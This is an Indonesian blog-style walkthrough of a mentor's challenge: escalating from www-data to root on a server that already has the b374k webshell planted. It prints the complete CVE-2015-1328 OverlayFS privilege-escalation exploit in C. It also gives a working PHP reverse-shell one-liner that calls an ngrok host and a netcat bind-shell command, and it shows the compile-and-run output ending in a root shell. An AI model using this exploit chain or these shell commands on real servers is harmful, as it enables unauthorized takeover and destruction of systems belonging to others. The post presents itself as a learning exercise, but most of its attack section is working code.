Pelajaran pertama saya di jalan panjang menyelami dunia Web Security dimulai dengan sebuah tantangan mentor saya. Ia meminta kami (saya dan beberapa teman seperjalanan) untuk menaikan privilege user biasa menjadi root pada sebuah website malang yang sudah ditanam b374k Webshell. Let’s the journey begin.
Konten
1. Latar Belakang
Tantangan ini untuk mempelajari salah satu vektor mengeksploitasi suatu web server yang sudah tertanam sebuah Webshell.
Tujuan
Tertanamnya Webshell tidak serta merta Attacker memiliki kendali penuh. Namun, dengan Webshell dapat dibilang bahwa hanya tinggal selangkah lagi untuk menuju kendali penuh atas suatu web server. Maka, tujuan pelajaran kali ini adalah mengeskalasi (menaikan) privilege suatu user, dalam kasus ini adalah www-data, menjadi root, yang sebagaimana kita ketahui root adalah user tertinggi dalam sebuah operating system berbasis linux.
2. b34k Webshell
Webshell adalah sebuah aplikasi antar muka berbasis web yang mirip dengan Shell (Terminal pada Linux atau Command Prompt pada Windows adalah sebuah Shell) yang memungkinkan penggunanya melakukan remote access dan memasukan command atau perintah ke dalam suatu web server yang sudah tertanam webshell dan mengeksekusinya. Webshell dapat diinjeksikan ke dalam suatu website yang memiliki kerentanan terhadap SQL Injection, Remote File Inclusion (RFI) atau Cross-site Scripting (XSS). Ada banyak webshell yang tersebar luas di internet, salah satunya adalah b374k.
b374k Webshell merupakan sebuah webshell open-source berbasis PHP yang dapat di download bebas. Dalam halaman github-nya, b374k ini memiliki fitur antara lain:
- File manager (view, edit, rename, delete, upload, download, archiver, etc)
- Search file, file content, folder (also using regex)
- Command execution
- Script execution (php, perl, python, ruby, java, node.js, c)
- Give you shell via bind/reverse shell connect
- Simple packet crafter
- Connect to DBMS (mysql, mssql, oracle, sqlite, postgresql, and many more using ODBC or PDO)
- SQL Explorer
- Process list/Task manager
- Send mail with attachment (you can attach local file on server)
- String conversion
- All of that only in 1 file, no installation needed
- Support PHP > 4.3.3 and PHP 5
Dengan menanamkan b374k, maka kita dengan mudah dapat melakukan berbagai hal yang tentunya memudahkan kita men-take over sebuah webserver.
3. Ngrok
Ngrok merupakan sebuah program yang dapat menciptakan sebuah tunneling dari internet publik (dengan subdomain.ngrok.com) ke port komputer lokal kita. Sehingga web server pada laptop atau PC dapat diakses oleh publik melalui subdomain yang disediakan. Melalui Ngrok ini, semua traffic yang menuju subdomain yang disediakan akan dialihkan (forward) ke localhost dengan port yang sudah kita tentukan.
4. Metodologi
Hal pertama yang harus dan selalu dilakukan adalah Reconnaissance (pengintaian). Dalam kasus kali ini, target sudah ditentukan dan webshell sudah tertanam. Maka pengintaian kali ini adalah mempelajari server yang akan diserang. Umumnya, webshell akan menampilkan data yang berguna bagi Attacker, seperti IP Address server, IP Address Attacker (kita), jenis server dan sebagainya.
Reconnaissance
Dari header b374k di atas kita dapatkan informasi sebagai berikut:
- IP Address Server
- IP Address Kita
- Running Server : Linux limousineservice 3.13.0-24-generic #47-Ubuntu SMP
Server yang tertanam webshell adalah Linux dengan kernel 3.13.0-24-generic #47-Ubuntu SMP. Jika kita melakukan research pada google, dengan keyword “kernel 3.13.0”, hasil pencarian teratas adalah exploit yang diupload ke website exploit-db.com. Easy.
pada halaman Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - ‘overlayfs’ Local Privilege Escalation dijelaskan secara singkat POC (proof of concept) untuk mereplikasi serangan yang dilakukan.
CVE-2015-1328 OverlayFS
Eksploit yang dilakukan dengan memanfaatkan kerentanan OverlayFS yang ada pada Linux Kernel 3.13.0 atau yang dikenal dengan CVE-2015-1328.
CVE adalah kepanjangan dari Common Vulnerablities and Exposures yang artinya kerentanan dan eksposur yang umum yang menjangkiti suatu perangkat lunak. Dalam kasus kita kali ini adalah CVE-2015-1328 yang menjangkiti semua Linux yang memiliki Kernel 3.13.0 dan belum di patch.
Gambar di atas menjelaskan alur atau step yang dilakukan.
$ uname -a
digunakan untuk mengetahui server linux yang digunakangcc ofs.c -o ofs
adalah command compile file bahasa C, dalam hal ini dengan ofs.c dengan output nama ofsid
untuk melihat user id yang sedang kita gunakan./ofs
untuk mengeksekusi file bernama ofs
Dari alur tersebut, kita dapat mengerti bahwa ada sebuah file bernama ofs.c dalam bahasa C yang di compile menggunakan gcc
pada linux dengan output file ofs. Kemudian file ofs dieksekusi, selanjutnya dilihat bahwa id telah berubah menjadi root. Menarik.
Adapun file ofs.c berisi sebagai berikut:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>
#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n"
static char child_stack[1024*1024];
static int
child_exec(void *stuff)
{
char *file;
system("rm -rf /tmp/ns_sploit");
mkdir("/tmp/ns_sploit", 0777);
mkdir("/tmp/ns_sploit/work", 0777);
mkdir("/tmp/ns_sploit/upper",0777);
mkdir("/tmp/ns_sploit/o",0777);
fprintf(stderr,"mount #1\n");
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
exit(-1);
}
file = ".access";
chmod("/tmp/ns_sploit/work/work",0777);
} else file = "ns_last_pid";
chdir("/tmp/ns_sploit/o");
rename(file,"ld.so.preload");
chdir("/");
umount("/tmp/ns_sploit/o");
fprintf(stderr,"mount #2\n");
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
exit(-1);
}
chmod("/tmp/ns_sploit/work/work",0777);
}
chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
umount("/tmp/ns_sploit/o");
}
int
main(int argc, char **argv)
{
int status, fd, lib;
pid_t wrapper, init;
int clone_flags = CLONE_NEWNS | SIGCHLD;
fprintf(stderr,"spawning threads\n");
if((wrapper = fork()) == 0) {
if(unshare(CLONE_NEWUSER) != 0)
fprintf(stderr, "failed to create new user namespace\n");
if((init = fork()) == 0) {
pid_t pid =
clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
if(pid < 0) {
fprintf(stderr, "failed to create new mount namespace\n");
exit(-1);
}
waitpid(pid, &status, 0);
}
waitpid(init, &status, 0);
return 0;
}
usleep(300000);
wait(NULL);
fprintf(stderr,"child threads done\n");
fd = open("/etc/ld.so.preload",O_WRONLY);
if(fd == -1) {
fprintf(stderr,"exploit failed\n");
exit(-1);
}
fprintf(stderr,"/etc/ld.so.preload created\n");
fprintf(stderr,"creating shared library\n");
lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
write(lib,LIB,strlen(LIB));
close(lib);
lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
if(lib != 0) {
fprintf(stderr,"couldn't create dynamic library\n");
exit(-1);
}
write(fd,"/tmp/ofs-lib.so\n",16);
close(fd);
system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
execl("/bin/su","su",NULL);
}
File ofs.c adalah eksploit yang akan kita gunakan. Kita butuh meng-compile file eksploit ini ke dalam server, namun meng-compile di webshell langsung (via browser) hasilnya error seperti gambar di bawah.
Ini terjadi karena webshell bukan merupakan live shell, maka kita butuh suatu cara untuk meng-compile file tersebut diluar webshell.
Bind / Reverse Shell
Seperti yang dijelaskan pada section webshell di atas, salah satu kegunaannya adalah bisa diakses jarak jauh (remote access), karena webshell pada dasarnya merupakan sebuah shell, dan shell memiliki 2 tipe, yaitu:
1. Bind Shell
Bind Shell adalah ketika shell target diperintahkan dengan command nc
untuk listening port tertentu. Dalam visualisasi di atas, pada target diperintah nc -lvp 4444 -e /bin/sh
. Di mana port nya adalah 4444. Dan pada shell Attacker atau kita menjalankan perintah nc ip_address port
.
2. Reverse Shell
Reverse Shell adalah kebalikan dari Bind Shell, yaitu ketika shell Attacker atau shell kita lah yang menjadi listener pada port tertentu.
Untuk lebih jelas tentang Bind/Reverse Shell silakan baca di artikel berikut:
- https://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/
- https://medium.com/@Proclus/reverse-bind-shells-for-everyoned-e7507853bf4e
- https://medium.com/@PenTest_duck/bind-vs-reverse-vs-encrypted-shells-what-should-you-use-6ead1d947aa9
5. Eksploitasi
Setelah paham apa yang akan dieksploitasi, maka saya rumuskan ke dalam sebuah alur sederhana untuk serangan yang akan kita lakukan.
- Upload file eksploit ke dalam webshell.
- Lakukan bind/reverse shell untuk mengkoneksikan webshell dengan pc/laptop kita.
- Masukan perintah untuk meng-compile file eksploit yang sudah diupload.
- Jalankan file hasil compile.
- Cek user yang sedang digunakan, apakah sudah menjadi root.
Maka, mari kita eksekusi dengan alur yang telah dibuat di atas.
Upload
Upload ke dalam web server yang sudah tertanam webshell sangat mudah, dalam kasus ini file ofs.c sudah tersedia. Tapi jika pun belum, saya dapat dengan mudah melakukannya seperti upload ke dalam server pada umumnya.
Bind/Reverse Shell
Pada kasus ini saya menggunakan Reverse Shell dengan Ngrok karena terkadang web server target menjadi lag jika menggunakan Bind Shell atau Reverse Shell tanpa Ngrok. Skemanya tidak jauh berbeda, hanya saja pada webshell kita akan mengarahkan web server target ke subdomain Ngrok yang kita buat. Adapun langkahnya sebagai berikut:
- Pada PC/Laptop, Jalankan Ngrok dengan perintah
./ngrok tcp 1337
. TCP adalah protokol dan 1337 adalah port yang kita gunakan. Anda bebas menggunakan port mana saja, pastikan port tersebut tidak terpakai. Jika berhasil, maka akan tampil.
Session Status online
Account *nama user* (Plan: Free)
Version 2.3.35
Region United States (us)
Web Interface http://127.0.0.1:4040
Forwarding tcp://4.tcp.ngrok.io:10849 -> localhost:1337
Connections ttl opn rt1 rt5 p50 p90
0 0 0.00 0.00 0.00 0.00
Lihat pada forwarding, 4.tcp.ngrok.io
adalah subdomain dan 10849
adalah port, yang akan kita gunakan dalam reverse shell. Setiap koneksi pada 4.tcp.ngrok.io:10849
akan diteruskan (forward) ke localhost:1337
.
-
Pada PC/Laptop, jalankan perintah
nc -l -v -p 1337
. Ini membuat PC/Laptop kita akan listening pada port 1337. -
Pada b347k webshell, saya menjalankan perintah
php -r '$sock=fsockopen("4.tcp.ngrok.io",10849);exec("/bin/sh -i <&3 >&3 2>&3");'
. Perintah tersebut menggunakan PHP, ada banyak perintah untuk reverse shell yang dapat digunakan, seperti Ruby, BASH, Python, atau GCC. Saya memilih PHP karena saya sudah coba beberapa bahasa lain dan dalam kasus saya hanya PHP yang bekerja.
- Jika berhasil, maka terminal anda akan muncul seperti berikut:
Listening on (nama_pc/laptop) 1337
Connection received on localhost 46760
/bin/sh: 0: can't access tty; job control turned off
$
Eskalasi
Sebelum memulai, baiknya pastikan dulu user yang sedang digunakan dengan perintah id
atau whoami
, hasilnya seharusnya
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
Artinya adalah saat ini saya adalah user biasa (www-data) dengan privilege terbatas. Untuk mengeksalasi privilege, saya meng-compile file eksploit yang sudah saya upload tadi, dengan perintah gcc nama_file.c -o nama_file_output
dalam hal ini saya menggunakan perintah gcc ofs.c -o ofs
. Tidak ada error apapun. Setelah itu, saya lanjutkan dengan eksekusi menggunakan perintah ./nama_file
dalam hal ini saya menggunakan ./ofs
yang menampilkan output berikut
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
sh: 0: can't access tty; job control turned off
#
So far so good.
Rooted
Saya cek kembali user saya dengan perintah id
dan whoami
, hasilnya sebagai berikut
Yeay! saya sudah berhasil mengeskalasi privilege saya yang sebelumnya user biasa menjadi root
, dengan root
saya dapat melakukan lebih banyak hal dekstruktif seperti menghapus dokumen atau file penting.
6. Penutup
Kerentanan hanyalah pintu, tanpa pernah dieksploitasi, pintu takkan terbuka, pun sudah terbuka, tak ada manfaat apapun yang dapat diambil jika tak pernah kita mencoba masuk ke dalamnya
Sungguh pengalaman yang menyenangkan. Bagi saya seorang yang masih sangat awam, capaian ini semoga menjadi titik awal menuju sebuah perjalanan panjang saya.